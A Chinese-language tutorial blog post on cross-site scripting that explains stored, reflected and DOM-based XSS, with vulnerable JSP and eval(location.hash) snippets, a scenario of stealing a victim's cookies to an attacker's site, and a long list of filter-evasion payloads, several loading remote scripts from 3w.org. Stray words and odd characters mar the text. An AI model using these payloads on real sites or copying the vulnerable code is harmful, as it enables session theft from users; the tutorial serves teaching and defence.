什麼是XSS?javascript
跨站腳本攻擊(Cross Site Scripting):攻擊者往Web頁面裏插入惡意腳本,當用戶瀏覽該頁面時,嵌入頁面的腳本代碼會被執行,從而達到惡意攻擊用戶的特殊目的。惡意的內容一般須要以一段JavaScript的形式發送到瀏覽器,但也可能包括HTML、Flash,或任何其餘類型的瀏覽器能夠執行的代碼php
XSS的危害一般包括傳輸私有數據,像cookie或session信息;重定向受害者看到的內容;或在用戶的機器上進行惡意操做。css
XSS攻擊發生的緣由:html
下面博文中有部分是從其餘博客中摘取,有部分是從OWASP中翻譯,最後整合在一塊兒造成這篇博客,若是以爲還不錯,就關注我吧。java
把用戶輸入的數據(好比惡意的js代碼)存儲在服務器端,具備很強的穩定性,危害時間長,每次用戶讀取這段數據時都會執行一次,因此受害者是不少人。web
最典型的攻擊場景就是留言板。數據庫
其攻擊過程以下:瀏覽器
反射攻擊是經過另外一種方式攻擊受害者,好比在一封電子郵件。當用戶點擊了一個惡意連接,將會提交一個特殊的表單,或者僅僅只是瀏覽惡意網站,注入的代碼將反射到攻擊用戶的瀏覽器安全
最典型的攻擊場景就是給個惡意連接讓你去點。服務器
其攻擊過程以下:
嵌入到URL中的惡意腳本在Alice的瀏覽器中執行,就像它直接來自Bob的服務器同樣。此腳本盜竊敏感信息(受權、信用卡、賬號信息等)而後在Alice徹底不知情的狀況下將這些信息發送到Charly的Web站點。
這種不是按照存儲在哪裏來劃分的,能夠說是反射型的一種,因爲歷史緣由,歸爲一類,經過改變DOM結構造成的XSS稱之爲DOM Based。
<% String eid = request.getParameter("eid"); %> ... Employee ID: <%= eid %>
jsp頁面中,咱們可能會像上面那樣寫。
最初這彷佛不可能出現的漏洞,由於攻擊者不可能用來輸入一段而已的代碼而後攻擊本身的電腦,致使惡意代碼運行在本身的電腦。但真正的危險是,攻擊者將建立惡意URL,而後使用電子郵件或社會工程學技巧來吸引受害者訪問的URL連接。受害者點擊連接時,無心中反映了惡意的內容經過脆弱的web應用程序回本身的電腦。這個機制稱爲反射型XSS攻擊
當我登陸a.com後,我發現它的頁面某些內容是根據url中的一個叫eid的參數直接顯示的。 我知道了Tom也註冊了該網站,而且知道了他的郵箱(或者其它能接收信息的聯繫方式),我作一個超連接發給他,超連接地址爲:http://www.a.com?eid=,當Tom點擊這個連接的時候(假設他已經登陸a.com),瀏覽器就會直接打開b.com,而且把Tom在a.com中的cookie信息發送到b.com,b.com是我搭建的網站,當個人網站接收到該信息時,我就盜取了Tom在a.com的cookie信息,cookie信息中可能存有登陸密碼,攻擊成功!這個過程當中,受害者只有Tom本身。
<%... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from emp where id="+eid); if (rs != null) { rs.next(); String name = rs.getString("name"); %> Employee Name: <%= name %>
這段代碼功能是顯示名字,但這並無阻止被利用。這段代碼相對上一種而言危險更小,由於名字是讀取數據庫的值。然而,若是名字來源於用戶提供的輸入,那麼數據庫能夠爲惡意內容的一個渠道。沒有適當的輸入驗證數據就存儲在數據庫中,攻擊者能夠在用戶的web瀏覽器中執行惡意命令,也就是存儲型XSS攻擊。
a.com能夠發文章,我登陸後在a.com中發佈了一篇文章,文章中包含了惡意代碼,,保存文章。這時Tom和Jack看到了我發佈的文章,當在查看個人文章時就都中招了,他們的cookie信息都發送到了個人服務器上,攻擊成功
http://www.a.com/xss/domxss.html
頁面中代碼以下:
<script> eval(location.hash.substr(1)); </script>
觸發方式爲:http://www.a.com/xss/domxss.html#alert(1)
XSS漏洞很難被識別或從一個web應用程序刪除。發現缺陷的最好方法是進行代碼的安全審查和搜索全部從HTTP請求輸入且有可能使其輸出到頁面的代碼,並對這些代碼進行相應的處理。
注意,可使用各類不一樣的HTML標記傳輸惡意JavaScript。Nessus Nikto,和其餘一些可用的工具能夠幫助掃描一個網站的這些缺陷,但卻只是完成表面功夫。若是一個網站的某一部分是脆弱的,那麼極有可能還有其餘問題。
將在下一篇博客中寫出
下面的清單是網上比較流行的攻擊方案, 我摘取了部分。
咱們從中能夠看到多種多樣的攻擊方式,所以要防護XSS攻擊須要考慮不少種狀況。
(1)普通的XSS JavaScript注入 <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> (2)IMG標籤XSS使用JavaScript命令 <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> (3)IMG標籤無分號無引號 <IMG SRC=javascript:alert(‘XSS’)> (4)IMG標籤大小寫不敏感 <IMG SRC=JaVaScRiPt:alert(‘XSS’)> (5)HTML編碼(必須有分號) <IMG SRC=javascript:alert(「XSS」)> (11)嵌入式標籤,將Javascript分開 <IMG SRC=」jav ascript:alert(‘XSS’);」> (12)嵌入式編碼標籤,將Javascript分開 <IMG SRC=」jav ascript:alert(‘XSS’);」> (13)嵌入式換行符 <IMG SRC=」jav ascript:alert(‘XSS’);」> (14)嵌入式回車 <IMG SRC=」jav ascript:alert(‘XSS’);」> (15)嵌入式多行注入JavaScript,這是XSS極端的例子 <IMG SRC=」javascript:alert(‘XSS‘)」> (23)雙開括號 <<SCRIPT>alert(「XSS」);//<</SCRIPT> (24)無結束腳本標記(僅火狐等瀏覽器) <SCRIPT SRC=http://3w.org/XSS/xss.js?<B> (26)半開的HTML/JavaScript XSS <IMG SRC=」javascript:alert(‘XSS’)」 (27)雙開角括號 <iframe src=http://3w.org/XSS.html < (28)無單引號 雙引號 分號 <SCRIPT>a=/XSS/ alert(a.source)</SCRIPT> (29)換碼過濾的JavaScript \」;alert(‘XSS’);// (37)STYLE sheet <LINK REL=」stylesheet」 HREF=」javascript:alert(‘XSS’);」> (38)遠程樣式表 <LINK REL=」stylesheet」 HREF=」http://3w.org/xss.css」> (39)List-style-image(列表式) <STYLE>li {list-style-image: url(「javascript:alert(‘XSS’)」);}</STYLE><UL><LI>XSS (41)META連接url <META HTTP-EQUIV=」refresh」 CONTENT=」0; URL=http://;URL=javascript:alert(‘XSS’);」> (42)Iframe <IFRAME SRC=」javascript:alert(‘XSS’);」></IFRAME> (43)Frame <FRAMESET><FRAME SRC=」javascript:alert(‘XSS’);」></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board https://www.t00ls.net/viewthread.php?action=printable&tid=15267 3/6 (44)Table <TABLE BACKGROUND=」javascript:alert(‘XSS’)」> (45)TD <TABLE><TD BACKGROUND=」javascript:alert(‘XSS’)」> (46)DIV background-image <DIV STYLE=」background-image: url(javascript:alert(‘XSS’))」> (51)STYLE background-image <STYLE>.XSS{background-image:url(「javascript:alert(‘XSS’)」);}</STYLE><A CLASS=XSS></A> (53)STYLE background <STYLE><STYLE type=」text/css」>BODY{background:url(「javascript:alert(‘XSS’)」)}</STYLE> (54)BASE <BASE HREF=」javascript:alert(‘XSS’);//」> (55)EMBED標籤,你能夠嵌入FLASH,其中包涵XSS <EMBED SRC=」http://3w.org/XSS/xss.swf」 ></EMBED> (56)在flash中使用ActionScrpt能夠混進你XSS的代碼 a=」get」; b=」URL(\」"; c=」javascript:」; d=」alert(‘XSS’);\」)」; eval_r(a+b+c+d); (58)若是過濾了你的JS你能夠在圖片裏添加JS代碼來利用 <SCRIPT SRC=」」></SCRIPT> (59)IMG嵌入式命令,可執行任意命令 <IMG SRC=」http://www.XXX.com/a.php?a=b」>
轉載註明出處:http://blog.bensonlin.me/post/xss-overview 或 http://www.cnblogs.com/lzb1096101803/p/5770087.html